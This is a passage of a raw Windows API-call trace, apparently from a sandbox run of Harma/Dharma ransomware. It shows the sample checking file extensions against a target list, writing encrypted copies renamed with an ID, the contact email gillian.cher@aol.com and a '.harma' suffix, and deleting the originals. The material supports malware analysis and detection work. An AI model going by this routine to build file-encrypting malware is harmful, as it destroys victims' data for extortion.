lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.139] lstrlenW (lpString=".jpg") returned 4 [0159.139] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.139] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0159.139] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0159.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.140] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=631) returned 1 [0159.140] CloseHandle (hObject=0x370) returned 1 [0159.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 0x20 [0159.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.141] GetLastError () returned 0x0 [0159.141] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x277, lpOverlapped=0x0) returned 1 [0159.144] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x280, lpOverlapped=0x0) returned 1 [0159.145] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.145] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0159.145] SetEndOfFile (hFile=0x380) returned 1 [0159.145] CloseHandle (hObject=0x380) returned 1 [0159.146] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.146] SetEndOfFile (hFile=0x370) returned 1 [0159.148] CloseHandle (hObject=0x370) returned 1 [0159.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 1 [0159.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString=".doc") returned 4 [0159.149] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.149] lstrlenW (lpString=".docx") returned 5 [0159.149] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.149] lstrlenW (lpString=".pdf") returned 4 [0159.149] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString=".xls") returned 4 [0159.149] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString=".xlsx") returned 5 [0159.149] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.149] lstrlenW (lpString=".ppt") returned 4 [0159.149] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString=".zip") returned 4 [0159.149] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString=".rar") returned 4 [0159.149] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString=".bz2") returned 4 [0159.149] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.149] lstrlenW (lpString=".7z") returned 3 [0159.149] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString=".dbf") returned 4 [0159.149] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString=".1cd") returned 4 [0159.149] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.149] lstrlenW (lpString=".jpg") returned 4 [0159.149] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.150] lstrlenW (lpString=".doc") returned 4 [0159.150] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.150] lstrlenW (lpString=".docx") returned 5 [0159.150] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.150] lstrlenW (lpString=".pdf") returned 4 [0159.150] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.150] lstrlenW (lpString=".xls") returned 4 [0159.150] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.150] lstrlenW (lpString=".xlsx") returned 5 [0159.150] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.150] lstrlenW (lpString=".ppt") returned 4 [0159.150] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.150] lstrlenW (lpString=".zip") returned 4 [0159.150] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.150] lstrlenW (lpString=".rar") returned 4 [0159.150] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.150] lstrlenW (lpString=".bz2") returned 4 [0159.150] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.150] lstrlenW (lpString=".7z") returned 3 [0159.150] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.151] lstrlenW (lpString=".dbf") returned 4 [0159.151] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.151] lstrlenW (lpString=".1cd") returned 4 [0159.151] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0159.151] lstrlenW (lpString=".jpg") returned 4 [0159.151] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.151] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0159.151] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0159.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.151] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=207) returned 1 [0159.152] CloseHandle (hObject=0x370) returned 1 [0159.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 0x20 [0159.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.152] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.152] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.153] GetLastError () returned 0x0 [0159.153] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xcf, lpOverlapped=0x0) returned 1 [0159.154] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0159.155] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.155] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0159.156] SetEndOfFile (hFile=0x380) returned 1 [0159.156] CloseHandle (hObject=0x380) returned 1 [0159.156] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.156] SetEndOfFile (hFile=0x370) returned 1 [0159.158] CloseHandle (hObject=0x370) returned 1 [0159.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt")) returned 1 [0159.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.159] lstrlenW (lpString=".doc") returned 4 [0159.159] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.159] lstrlenW (lpString=".docx") returned 5 [0159.159] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.159] lstrlenW (lpString=".pdf") returned 4 [0159.159] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString=".xls") returned 4 [0159.160] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString=".xlsx") returned 5 [0159.160] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.160] lstrlenW (lpString=".ppt") returned 4 [0159.160] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString=".zip") returned 4 [0159.160] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString=".rar") returned 4 [0159.160] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString=".bz2") returned 4 [0159.160] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.160] lstrlenW (lpString=".7z") returned 3 [0159.160] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString=".dbf") returned 4 [0159.160] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString=".1cd") returned 4 [0159.160] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString=".jpg") returned 4 [0159.160] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.160] lstrlenW (lpString=".doc") returned 4 [0159.160] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.160] lstrlenW (lpString=".docx") returned 5 [0159.160] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.160] lstrlenW (lpString=".pdf") returned 4 [0159.160] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.161] lstrlenW (lpString=".xls") returned 4 [0159.161] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.161] lstrlenW (lpString=".xlsx") returned 5 [0159.161] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.161] lstrlenW (lpString=".ppt") returned 4 [0159.161] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.161] lstrlenW (lpString=".zip") returned 4 [0159.161] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.161] lstrlenW (lpString=".rar") returned 4 [0159.161] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.161] lstrlenW (lpString=".bz2") returned 4 [0159.161] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.161] lstrlenW (lpString=".7z") returned 3 [0159.161] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.161] lstrlenW (lpString=".dbf") returned 4 [0159.161] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.161] lstrlenW (lpString=".1cd") returned 4 [0159.161] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT") returned 63 [0159.161] lstrlenW (lpString=".jpg") returned 4 [0159.161] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.161] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.161] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0159.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.162] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=114) returned 1 [0159.162] CloseHandle (hObject=0x370) returned 1 [0159.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 0x20 [0159.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.163] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.163] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.164] GetLastError () returned 0x0 [0159.164] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x72, lpOverlapped=0x0) returned 1 [0159.165] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.166] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.166] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0159.166] SetEndOfFile (hFile=0x380) returned 1 [0159.166] CloseHandle (hObject=0x380) returned 1 [0159.166] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.166] SetEndOfFile (hFile=0x370) returned 1 [0159.170] CloseHandle (hObject=0x370) returned 1 [0159.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 1 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.171] lstrlenW (lpString=".doc") returned 4 [0159.171] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.171] lstrlenW (lpString=".docx") returned 5 [0159.171] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.171] lstrlenW (lpString=".pdf") returned 4 [0159.171] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.171] lstrlenW (lpString=".xls") returned 4 [0159.171] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.171] lstrlenW (lpString=".xlsx") returned 5 [0159.171] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.171] lstrlenW (lpString=".ppt") returned 4 [0159.171] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.171] lstrlenW (lpString=".zip") returned 4 [0159.171] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.171] lstrlenW (lpString=".rar") returned 4 [0159.171] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.171] lstrlenW (lpString=".bz2") returned 4 [0159.171] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.171] lstrlenW (lpString=".7z") returned 3 [0159.171] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.171] lstrlenW (lpString=".dbf") returned 4 [0159.171] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.171] lstrlenW (lpString=".1cd") returned 4 [0159.171] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString=".jpg") returned 4 [0159.172] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString=".doc") returned 4 [0159.172] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.172] lstrlenW (lpString=".docx") returned 5 [0159.172] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.172] lstrlenW (lpString=".pdf") returned 4 [0159.172] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString=".xls") returned 4 [0159.172] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString=".xlsx") returned 5 [0159.172] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.172] lstrlenW (lpString=".ppt") returned 4 [0159.172] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString=".zip") returned 4 [0159.172] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString=".rar") returned 4 [0159.172] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.172] lstrlenW (lpString=".bz2") returned 4 [0159.172] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.172] lstrlenW (lpString=".7z") returned 3 [0159.172] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString=".dbf") returned 4 [0159.172] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.172] lstrlenW (lpString=".1cd") returned 4 [0159.172] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0159.173] lstrlenW (lpString=".jpg") returned 4 [0159.173] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.173] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.173] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0159.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.173] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0159.173] CloseHandle (hObject=0x370) returned 1 [0159.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 